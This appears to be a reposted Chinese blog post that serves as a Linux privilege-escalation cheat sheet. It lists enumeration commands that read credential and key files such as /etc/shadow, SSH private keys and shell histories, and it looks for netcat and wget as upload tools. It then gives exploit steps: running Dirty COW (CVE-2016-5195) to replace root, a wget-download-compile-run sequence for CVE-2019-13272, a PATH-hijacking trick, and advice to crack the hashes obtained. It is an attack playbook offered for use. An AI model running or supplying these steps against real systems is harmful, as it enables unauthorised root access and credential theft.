Linux提权信息收集

admin 2021年8月27日14:40:24评论107 views字数 5050阅读16分50秒阅读模式

/01 Linux提权信息收集

一,Linux提权信息收集

1.查看发行版本

1
cat /etc/issue

image-20201213201940301

1
cat /etc/*-release

image-20201213202118465

1
lsb_release -a

image-20201213202143413

2.查看内核版本

1
uname -a

image-20201213202206042

1
uname -mrs

image-20201213202223531

3.环境变量

1
cat /etc/profile

image-20201213202254317

1
cat /etc/bashrc
1
cat ~/.bash_profile
1
cat ~/.bashrc
1
cat ~/.bash_logout
1
env
1
set

二,应用程序和服务信息

1.系统网络信息

1
/sbin/ifconfig -a

image-20201213202737837

1
cat /etc/network/interfaces

image-20201213202901148

1
cat /etc/sysconfig/network

2.应用程序和服务

1
ps aux
1
ps -ef
1
top
1
cat /etc/services

3.root用户运行的服务

1
ps aux | grep root
1
ps -ef | grep root

4.安装的应用程序

1
ls -alh /sbin/
1
dpkg -l
1
rpm -qa
1
ls -alh /var/cache/apt/archives
1
ls -alh /var/cache/yum/

5.计划任务

1
2
3
4
5
6
7
8
9
10
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

6.服务配置错误

1
2
3
4
5
6
7
8
9
10
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

三,通信与网络

1.系统网卡

1
2
3
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

2.网络配置(dhcp、dns、网关)

1
2
3
4
5
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname

3.用户和主机与系统通信

1
2
3
4
5
6
7
8
9
10
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

4.arp缓存、路由表

1
2
3
arp -e
route
/sbin/route –nee

5.数据包嗅探

1
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

四,机密信息和用户信息

1.登录用户

1
2
3
4
5
6
7
8
9
id
who
w
last
cat /etc/passwd | cut -d: -f1 # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

2.用户敏感文件

1
2
3
4
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

3.用户家目录

1
2
ls -ahlR /root/
ls -ahlR /home/

4.脚本、数据库、配置文件、日志文件

1
2
3
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

5.历史记录

1
2
3
4
5
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

6.用户信息

1
2
3
4
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

7.ssh私钥信息

1
2
3
4
5
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa

8.日志文件分析

1
2
3
4
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/error_log
cat /var/log/apache2/access_log
cat /var/log/apache2/error_log

五,文件系统

1.可写可执行的文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#寻找可写的文件夹
find / -writable -type d 2>/dev/null
#寻找可写的文件夹
find / -perm -222 -type d 2>/dev/null
#寻找可写的文件夹
find / -perm -o w -type d 2>/dev/null
#寻找可执行的文件夹
find / -perm -o x -type d 2>/dev/null
#寻找可写可执行的文件夹
find / (-perm -o w -perm -o x) -type d 2>/dev/null
#寻找可写的文件
find / -xdev -type d (-perm -0002 -a ! -perm -1000) -print
#寻找不是所有者的文件
find /dir -xdev ( -nouser -o -nogroup ) -print

六,准备和查找利用代码

1.支持的语言开发环境

1
2
3
4
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

2.上传文件环境

1
2
3
4
5
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

3.准备和查找利用代码

1
2
3
4
5
6
7
8
9
10
11
http://www.exploit-db.com
https://www.securityfocus.com/bid
https://www.rapid7.com/db/
https://cxsecurity.com/exploit/
https://seclists.org/fulldisclosure/
https://exploit.kitploit.com/
https://www.cvedetails.com/index.php
https://packetstormsecurity.com/
http://cve.mitre.org/cve/search_cve_list.html
https://www.anquanke.com/vul
https://nvd.nist.gov/vuln/categories

/02 Linux系统内核漏洞提权

一,Linux-kernel-exploits(Linux平台提权漏洞集合)

https://github.com/SecWiki/linux-kernel-exploits

二,searchsploit搜索exp

1
searchsploit privilege | grep –i linux | grep -i 

1.下载exploit-db数据库

1
2
3
4
cd /opt
https://codeload.github.com/offensive-security/exploit-database/zip/master

git clone https://github.com/offensive-security/exploit-database.git

2.安装

1
2
3
4
5
6
#centos:
yum -y install exploitdb
#macos:
brew update && brew install exploitdb
#kali:
apt update && apt install exploitdb

命令关联searchsploit:

1
ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit

3.更新

1
searchsploit -u

三,脏牛提权

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权

影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)

POC: https://github.com/FireFart/dirtycow

gcc编译: gcc -pthread ditry.c –o dirty –lcrypt

替换root用户: ./dirty password

四,CVE-2019-13272

wget https://www.exploit-db.com/download/47163 -O exp.c

gcc exp.c –o exp

./exp

五,CVE-2019-7304

Linux包管理器snap本地提权漏洞

Ubuntu版本范围:

Ubuntu 18.10

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 LTS

snap版本范围: 2.28 < snapd < 2.37

漏洞利用:

https://github.com/initstring/dirty_sock

/03 Linux环境变量提权

一,PATH环境变量

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上 执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。

suid权限说明:

1.启动为进程之后,其进程的属主为原程序文件的属主

2.只能作用在二进制程序上,不能作用在脚本上,且设置在目录上无意义

3.执行suid权限的程序时,此用户将继承此程序的所有者权限

find命令查找拥有suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

1
2
3
4
5
6
7
8
9
10
cd /tmp
echo “/bin/bash”> ps
chmod 777 ps

echo $PATH
export PATH=/tmp:$PATH

/home/kali/shell
whoami

/04 密码哈希

一,/etc/passwd:

所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分

  1. 用户名
  2. 密码,x表示密码保存在/etc/shadow
  3. UID,0代表root
  4. GID,表示所在组
  5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other
  6. 用户主目录
  7. 默认shell类型

二,/etc/shadow:

只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分

  1. 用户名 2.
  2. 加密后的密码 3.
  3. 上次修改密码的时间(从1970.1.1开始的总天数)
  4. 两次修改密码间隔的最少天数,如果为0,则没有限制
  5. 两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制提
  6. 前多少天警告用户密码将过期
  7. 在密码过期之后多少天禁用此用户
  8. 用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用 9. 保留

拿到hash可用去md5网页破解

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: 打造专属 Cobalt Strike

环境准备 VPS CentOS 8 CobaltStrike4.0 ServerChan SCKEY 配置 VPS 使用dnf安装常用软件 1dnf install vim net-tools wget –y 修改主机名 123echo 'Cathe…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月27日14:40:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权信息收集http://cn-sec.com/archives/475137.html

发表评论

匿名网友 填写信息